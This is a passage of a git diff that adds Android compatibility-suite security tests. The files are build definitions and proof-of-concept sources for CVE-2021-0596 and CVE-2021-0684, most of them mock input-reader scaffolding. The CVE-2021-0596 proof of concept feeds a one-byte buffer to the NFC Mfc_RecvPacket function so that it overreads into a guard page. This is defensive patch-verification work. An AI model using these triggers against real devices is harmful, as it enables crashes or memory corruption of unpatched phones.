+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "packages/apps/Nfc/nci/jni/extns/pn54x/inc",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/common",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+        "system/nfc/src/nfc/include",
+    ],
+    shared_libs: [
+        "libnfc_nci_jni",
+    ],
+    cflags: [
+        "-DCHECK_UNDERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
new file mode 100644
index 0000000..3b1a580
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <unistd.h>
+#include "phNxpExtns_MifareStd.h"
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        size_t pageSize = getpagesize();
+        if (pageSize) {
+            char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) - pageSize;
+            char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+            if (faultPage == vulnPtrGuardPage) {
+                (*old_action.sa_sigaction)(signum, info, context);
+                return;
+            }
+        }
+    }
+    _exit(EXIT_FAILURE);
+}
+uint8_t NFC_GetNCIVersion() {
+    return NCI_VERSION_2_0;
+}
+
+int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+    enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+    uint8_t *buffer = (uint8_t*) memalign(16, 16 * sizeof(uint8_t));
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(buffer);
+
+    vulnPtr = (char *) buffer;
+    uint8_t bufferSize = 1;
+    buffer[0] = 0x10;
+    phNxpExtns_MfcModuleInit();
+    testInProgress = true;
+    Mfc_RecvPacket(buffer, bufferSize);
+    testInProgress = false;
+    free(buffer);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
new file mode 100644
index 0000000..2c9502b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0684",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    header_libs: [
+        "libbatteryservice_headers",
+    ],
+    srcs: [
+        "poc.cpp",
+        "TestInputListener.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
+        "-Wno-unused-parameter",
+    ],
+    static_libs: [
+        "libinputdispatcher",
+    ],
+    shared_libs: [
+        "libinputflinger_base",
+        "libinputreader",
+        "libinputflinger",
+        "libinputreader",
+        "libbase",
+        "libinput",
+        "liblog",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
new file mode 100644
index 0000000..875a38a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#include "TestInputListener.h"
+
+namespace android {
+
+// --- TestInputListener ---
+
+TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
+                                     std::chrono::milliseconds eventDidNotHappenTimeout)
+      : mEventHappenedTimeout(eventHappenedTimeout),
+        mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
+
+TestInputListener::~TestInputListener() {}
+
+template <class NotifyArgsType>
+void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
+    std::unique_lock<std::mutex> lock(mLock);
+    base::ScopedLockAssertion assumeLocked(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    if (queue.empty()) {
+        const bool eventReceived =
+                mCondition.wait_for(lock, mEventHappenedTimeout,
+                                    [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+        if (!eventReceived) {
+            return;
+        }
+    }
+    if (outEventArgs) {
+        *outEventArgs = *queue.begin();
+    }
+    queue.erase(queue.begin());
+}
+
+template <class NotifyArgsType>
+void TestInputListener::assertNotCalled(std::string message) {
+    std::unique_lock<std::mutex> lock(mLock);
+    base::ScopedLockAssertion assumeLocked(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    const bool eventReceived =
+            mCondition.wait_for(lock, mEventDidNotHappenTimeout,
+                                [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+    if (eventReceived) {
+        return;
+    }
+}
+
+template <class NotifyArgsType>
+void TestInputListener::notify(const NotifyArgsType* args) {
+    std::scoped_lock<std::mutex> lock(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    queue.push_back(*args);
+    mCondition.notify_all();
+}
+
+void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
+    notify<NotifyConfigurationChangedArgs>(args);
+}
+
+void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
+    notify<NotifyDeviceResetArgs>(args);
+}
+
+void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
+    notify<NotifyKeyArgs>(args);
+}
+
+void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
+    notify<NotifyMotionArgs>(args);
+}
+
+void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
+    notify<NotifySwitchArgs>(args);
+}
+
+void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
+    notify<NotifyPointerCaptureChangedArgs>(args);
+}
+
+void TestInputListener::notifySensor(const NotifySensorArgs* args) {
+    notify<NotifySensorArgs>(args);
+}
+
+void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
+    notify<NotifyVibratorStateArgs>(args);
+}
+
+} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
new file mode 100644
index 0000000..067ac83
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#ifndef _UI_TEST_INPUT_LISTENER_H
+#define _UI_TEST_INPUT_LISTENER_H
+
+#include <android-base/thread_annotations.h>
+#include "InputListener.h"
+
+using std::chrono_literals::operator""ms;
+
+namespace android {
+
+// --- TestInputListener ---
+
+class TestInputListener : public InputListenerInterface {
+protected:
+    virtual ~TestInputListener();
+
+public:
+    TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
+                      std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
+
+    template <class NotifyArgsType>
+    void assertCalled(NotifyArgsType* outEventArgs, std::string message);
+
+    template <class NotifyArgsType>
+    void assertNotCalled(std::string message);
+
+    template <class NotifyArgsType>
+    void notify(const NotifyArgsType* args);
+
+    virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
+
+    virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
+
+    virtual void notifyKey(const NotifyKeyArgs* args) override;
+
+    virtual void notifyMotion(const NotifyMotionArgs* args) override;
+
+    virtual void notifySwitch(const NotifySwitchArgs* args) override;
+
+    virtual void notifySensor(const NotifySensorArgs* args) override;
+
+    virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
+
+    virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
+
+    std::mutex mLock;
+    std::condition_variable mCondition;
+    const std::chrono::milliseconds mEventHappenedTimeout;
+    const std::chrono::milliseconds mEventDidNotHappenTimeout;
+
+    std::tuple<std::vector<NotifyConfigurationChangedArgs>,  //
+               std::vector<NotifyDeviceResetArgs>,           //
+               std::vector<NotifyKeyArgs>,                   //
+               std::vector<NotifyMotionArgs>,                //
+               std::vector<NotifySwitchArgs>,                //
+               std::vector<NotifySensorArgs>,                //
+               std::vector<NotifyVibratorStateArgs>,         //
+               std::vector<NotifyPointerCaptureChangedArgs>> //
+            mQueues GUARDED_BY(mLock);
+};
+
+} // namespace android
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
new file mode 100644
index 0000000..c2dbdf2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
@@ -0,0 +1,1238 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#include <InputMapper.h>
+#include <InputReader.h>
+#include <InputReaderBase.h>
+#include <InputReaderFactory.h>
+#include <MultiTouchInputMapper.h>
+#include <TestInputListener.h>
+
+namespace android {
+
+using std::chrono_literals::operator""ms;
+using namespace android::flag_operators;
+
+// Timeout for waiting for an expected event
+static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
+
+// An arbitrary time value.
+static constexpr nsecs_t ARBITRARY_TIME = 1234;
+static constexpr nsecs_t READ_TIME = 4321;
+
+// Arbitrary display properties.
+static constexpr int32_t DISPLAY_ID = 0;
+static constexpr int32_t DISPLAY_WIDTH = 480;
+static constexpr int32_t DISPLAY_HEIGHT = 800;
+static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
+static constexpr int32_t BATTERY_STATUS = 4;
+static constexpr int32_t BATTERY_CAPACITY = 66;
+static constexpr int32_t RAW_X_MIN = 25;
+static constexpr int32_t RAW_X_MAX = 1019;
+static constexpr int32_t RAW_Y_MIN = 30;
+static constexpr int32_t RAW_Y_MAX = 1009;
+constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
+constexpr int32_t DEVICE_GENERATION = 2;
+
+const char* DEVICE_NAME = "device";
+const char* DEVICE_LOCATION = "USB1";
+const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
+constexpr int32_t EVENTHUB_ID = 1;
+const std::string UNIQUE_ID = "local:0";
+
+template <typename T>
+static inline T min(T a, T b) {
+    return a < b ? a : b;
+}
+
+// --- TestPointerController ---
+
+class TestPointerController : public PointerControllerInterface {
+    bool mHaveBounds;
+    float mMinX, mMinY, mMaxX, mMaxY;
+    float mX, mY;
+    int32_t mButtonState;
+    int32_t mDisplayId;
+
+public:
+    TestPointerController()
+          : mHaveBounds(false),
+            mMinX(0),
+            mMinY(0),
+            mMaxX(0),
+            mMaxY(0),
+            mX(0),
+            mY(0),
+            mButtonState(0),
+            mDisplayId(ADISPLAY_ID_DEFAULT) {}
+
+    virtual ~TestPointerController() {}
+
+    void setBounds(float minX, float minY, float maxX, float maxY) {
+        mHaveBounds = true;
+        mMinX = minX;
+        mMinY = minY;
+        mMaxX = maxX;
+        mMaxY = maxY;
+    }
+
+    void setPosition(float x, float y) override {
+        mX = x;
+        mY = y;
+    }
+
+    void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
+
+    int32_t getButtonState() const override { return mButtonState; }
+
+    void getPosition(float* outX, float* outY) const override {
+        *outX = mX;
+        *outY = mY;
+    }
+
+    int32_t getDisplayId() const override { return mDisplayId; }
+
+    void setDisplayViewport(const DisplayViewport& viewport) override {
+        mDisplayId = viewport.displayId;
+    }
+
+    const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
+
+private:
+    bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
+        *outMinX = mMinX;
+        *outMinY = mMinY;
+        *outMaxX = mMaxX;
+        *outMaxY = mMaxY;
+        return mHaveBounds;
+    }
+
+    void move(float deltaX, float deltaY) override {
+        mX += deltaX;
+        if (mX < mMinX) mX = mMinX;
+        if (mX > mMaxX) mX = mMaxX;
+        mY += deltaY;
+        if (mY < mMinY) mY = mMinY;
+        if (mY > mMaxY) mY = mMaxY;
+    }
+
+    void fade(Transition) override {}
+
+    void unfade(Transition) override {}
+
+    void setPresentation(Presentation) override {}
+
+    void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
+                  int32_t displayId) override {
+        std::vector<int32_t> newSpots;
+        // Add spots for fingers that are down.
+        for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
+            uint32_t id = idBits.clearFirstMarkedBit();
+            newSpots.push_back(id);
+        }
+
+        mSpotsByDisplay[displayId] = newSpots;
+    }
+
+    void clearSpots() override {}
+
+    std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
+};
+
+// --- TestInputReaderPolicy---
+
+class TestInputReaderPolicy : public InputReaderPolicyInterface {
+    std::mutex mLock;
+    std::condition_variable mDevicesChangedCondition;
+
+    InputReaderConfiguration mConfig;
+    std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
+    std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
+    bool mInputDevicesChanged GUARDED_BY(mLock){false};
+    std::vector<DisplayViewport> mViewports;
+    TouchAffineTransformation transform;
+
+protected:
+    virtual ~TestInputReaderPolicy() {}
+
+public:
+    TestInputReaderPolicy() {}
+
+    virtual void clearViewports() {
+        mViewports.clear();
+        mConfig.setDisplayViewports(mViewports);
+    }
+
+    std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
+        return mConfig.getDisplayViewportByUniqueId(uniqueId);
+    }
+    std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
+        return mConfig.getDisplayViewportByType(type);
+    }
+
+    std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
+        return mConfig.getDisplayViewportByPort(displayPort);
+    }
+
+    void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
+                            bool isActive, const std::string& uniqueId,
+                            std::optional<uint8_t> physicalPort, ViewportType viewportType) {
+        const DisplayViewport viewport =
+                createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
+                                      physicalPort, viewportType);
+        mViewports.push_back(viewport);
+        mConfig.setDisplayViewports(mViewports);
+    }
+
+    bool updateViewport(const DisplayViewport& viewport) {
+        size_t count = mViewports.size();
+        for (size_t i = 0; i < count; i++) {
+            const DisplayViewport& currentViewport = mViewports[i];
+            if (currentViewport.displayId == viewport.displayId) {
+                mViewports[i] = viewport;
+                mConfig.setDisplayViewports(mViewports);
+                return true;
+            }
+        }
+        // no viewport found.
+        return false;
+    }
+
+    void addExcludedDeviceName(const std::string& deviceName) {
+        mConfig.excludedDeviceNames.push_back(deviceName);
+    }
+
+    void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
+        mConfig.portAssociations.insert({inputPort, displayPort});
+    }
+
+    void addInputUniqueIdAssociation(const std::string& inputUniqueId,
+                                     const std::string& displayUniqueId) {
+        mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
+    }
+
+    void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
+
+    void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
+
+    void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
+        mPointerControllers.insert_or_assign(deviceId, std::move(controller));
+    }
+
+    const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
+
+    const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
+
+    TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
+                                                           int32_t surfaceRotation) {
+        return transform;
+    }
+
+    void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
+
+    void setPointerCapture(const PointerCaptureRequest& request) {
+        mConfig.pointerCaptureRequest = request;
+    }
+
+    void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
+
+    void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
+        mConfig.defaultPointerDisplayId = pointerDisplayId;
+    }
+
+    float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
+
+private:
+    DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
+                                          int32_t orientation, bool isActive,
+                                          const std::string& uniqueId,
+                                          std::optional<uint8_t> physicalPort, ViewportType type) {
+        bool isRotated =
+                (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
+        DisplayViewport v;
+        v.displayId = displayId;
+        v.orientation = orientation;
+        v.logicalLeft = 0;
+        v.logicalTop = 0;
+        v.logicalRight = isRotated ? height : width;
+        v.logicalBottom = isRotated ? width : height;
+        v.physicalLeft = 0;
+        v.physicalTop = 0;
+        v.physicalRight = isRotated ? height : width;
+        v.physicalBottom = isRotated ? width : height;
+        v.deviceWidth = isRotated ? height : width;
+        v.deviceHeight = isRotated ? width : height;
+        v.isActive = isActive;
+        v.uniqueId = uniqueId;
+        v.physicalPort = physicalPort;
+        v.type = type;
+        return v;
+    }
+
+    void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
+        *outConfig = mConfig;
+    }
+
+    std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
+        return mPointerControllers[deviceId];
+    }
+
+    void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mInputDevices = inputDevices;
+        mInputDevicesChanged = true;
+        mDevicesChangedCondition.notify_all();
+    }
+
+    std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
+            const InputDeviceIdentifier&) override {
+        return nullptr;
+    }
+
+    std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
+
+    void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
+        std::unique_lock<std::mutex> lock(mLock);
+        base::ScopedLockAssertion assumeLocked(mLock);
+
+        mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
+            return mInputDevicesChanged;
+        });
+        mInputDevicesChanged = false;
+    }
+};
+
+// --- TestEventHub ---
+
+class TestEventHub : public EventHubInterface {
+    struct KeyInfo {
+        int32_t keyCode;
+        uint32_t flags;
+    };
+
+    struct SensorInfo {
+        InputDeviceSensorType sensorType;
+        int32_t sensorDataIndex;
+    };
+
+    struct Device {
+        InputDeviceIdentifier identifier;
+        Flags<InputDeviceClass> classes;
+        PropertyMap configuration;
+        KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
+        KeyedVector<int, bool> relativeAxes;
+        KeyedVector<int32_t, int32_t> keyCodeStates;
+        KeyedVector<int32_t, int32_t> scanCodeStates;
+        KeyedVector<int32_t, int32_t> switchStates;
+        KeyedVector<int32_t, int32_t> absoluteAxisValue;
+        KeyedVector<int32_t, KeyInfo> keysByScanCode;
+        KeyedVector<int32_t, KeyInfo> keysByUsageCode;
+        KeyedVector<int32_t, bool> leds;
+        std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
+        BitArray<MSC_MAX> mscBitmask;
+        std::vector<VirtualKeyDefinition> virtualKeys;
+        bool enabled;
+
+        status_t enable() {
+            enabled = true;
+            return OK;
+        }
+
+        status_t disable() {
+            enabled = false;
+            return OK;
+        }
+
+        explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
+    };
+
+    std::mutex mLock;
+    std::condition_variable mEventsCondition;
+
+    KeyedVector<int32_t, Device*> mDevices;
+    std::vector<std::string> mExcludedDevices;
+    std::vector<RawEvent> mEvents GUARDED_BY(mLock);
+    std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
+    std::vector<int32_t> mVibrators = {0, 1};
+    std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
+    // Simulates a device light brightness, from light id to light brightness.
+    std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
+    // Simulates a device light intensities, from light id to light intensities map.
+    std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
+            mLightIntensities;
+
+public:
+    virtual ~TestEventHub() {
+        for (size_t i = 0; i < mDevices.size(); i++) {
+            delete mDevices.valueAt(i);
+        }
+    }
+
+    TestEventHub() {}
+
+    void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
+        Device* device = new Device(classes);
+        device->identifier.name = name;
+        mDevices.add(deviceId, device);
+
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
+    }
+
+    void removeDevice(int32_t deviceId) {
+        delete mDevices.valueFor(deviceId);
+        mDevices.removeItem(deviceId);
+
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
+    }
+
+    bool isDeviceEnabled(int32_t deviceId) {
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return false;
+        }
+        return device->enabled;
+    }
+
+    status_t enableDevice(int32_t deviceId) {
+        status_t result;
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return BAD_VALUE;
+        }
+        if (device->enabled) {
+            ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
+            return OK;
+        }
+        result = device->enable();
+        return result;
+    }
+
+    status_t disableDevice(int32_t deviceId) {
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return BAD_VALUE;
+        }
+        if (!device->enabled) {
+            ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
+            return OK;
+        }
+        return device->disable();
+    }
+
+    void finishDeviceScan() {
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
+    }
+
+    void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
+        Device* device = getDevice(deviceId);
+        device->configuration.addProperty(key, value);
+    }
+
+    void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
+        Device* device = getDevice(deviceId);
+        device->configuration.addAll(configuration);
+    }
+
+    void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
+                         int fuzz, int resolution = 0) {
+        Device* device = getDevice(deviceId);
+
+        RawAbsoluteAxisInfo info;
+        info.valid = true;
+        info.minValue = minValue;
+        info.maxValue = maxValue;
+        info.flat = flat;
+        info.fuzz = fuzz;
+        info.resolution = resolution;
+        device->absoluteAxes.add(axis, info);
+    }
+
+    void addRelativeAxis(int32_t deviceId, int32_t axis) {
+        Device* device = getDevice(deviceId);
+        device->relativeAxes.add(axis, true);
+    }
+
+    void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->keyCodeStates.replaceValueFor(keyCode, state);
+    }
+
+    void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->scanCodeStates.replaceValueFor(scanCode, state);
+    }
+
+    void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->switchStates.replaceValueFor(switchCode, state);
+    }
+
+    void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
+        Device* device = getDevice(deviceId);
+        device->absoluteAxisValue.replaceValueFor(axis, value);
+    }
+
+    void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
+                uint32_t flags) {
+        Device* device = getDevice(deviceId);
+        KeyInfo info;
+        info.keyCode = keyCode;
+        info.flags = flags;
+        if (scanCode) {
+            device->keysByScanCode.add(scanCode, info);
+        }
+        if (usageCode) {
+            device->keysByUsageCode.add(usageCode, info);
+        }
+    }
+
+    void addLed(int32_t deviceId, int32_t led, bool initialState) {
+        Device* device = getDevice(deviceId);
+        device->leds.add(led, initialState);
+    }
+
+    void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
+                       int32_t sensorDataIndex) {
+        Device* device = getDevice(deviceId);
+        SensorInfo info;
+        info.sensorType = sensorType;
+        info.sensorDataIndex = sensorDataIndex;
+        device->sensorsByAbsCode.emplace(absCode, info);
+    }
+
+    void setMscEvent(int32_t deviceId, int32_t mscEvent) {
+        Device* device = getDevice(deviceId);
+        typename BitArray<MSC_MAX>::Buffer buffer;
+        buffer[mscEvent / 32] = 1 << mscEvent % 32;
+        device->mscBitmask.loadFromBuffer(buffer);
+    }
+
+    void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
+        mRawLightInfos.emplace(rawId, std::move(info));
+    }
+
+    void testLightBrightness(int32_t rawId, int32_t brightness) {
+        mLightBrightness.emplace(rawId, brightness);
+    }
+
+    void testLightIntensities(int32_t rawId,
+                              const std::unordered_map<LightColor, int32_t> intensities) {
+        mLightIntensities.emplace(rawId, std::move(intensities));
+    }
+
+    bool getLedState(int32_t deviceId, int32_t led) {
+        Device* device = getDevice(deviceId);
+        return device->leds.valueFor(led);
+    }
+
+    std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
+
+    void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
+        Device* device = getDevice(deviceId);
+        device->virtualKeys.push_back(definition);
+    }
+
+    void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
+                      int32_t value) {
+        std::scoped_lock<std::mutex> lock(mLock);
+        RawEvent event;
+        event.when = when;
+        event.readTime = readTime;
+        event.deviceId = deviceId;
+        event.type = type;
+        event.code = code;
+        event.value = value;
+        mEvents.push_back(event);
+
+        if (type == EV_ABS) {
+            setAbsoluteAxisValue(deviceId, code, value);
+        }
+    }
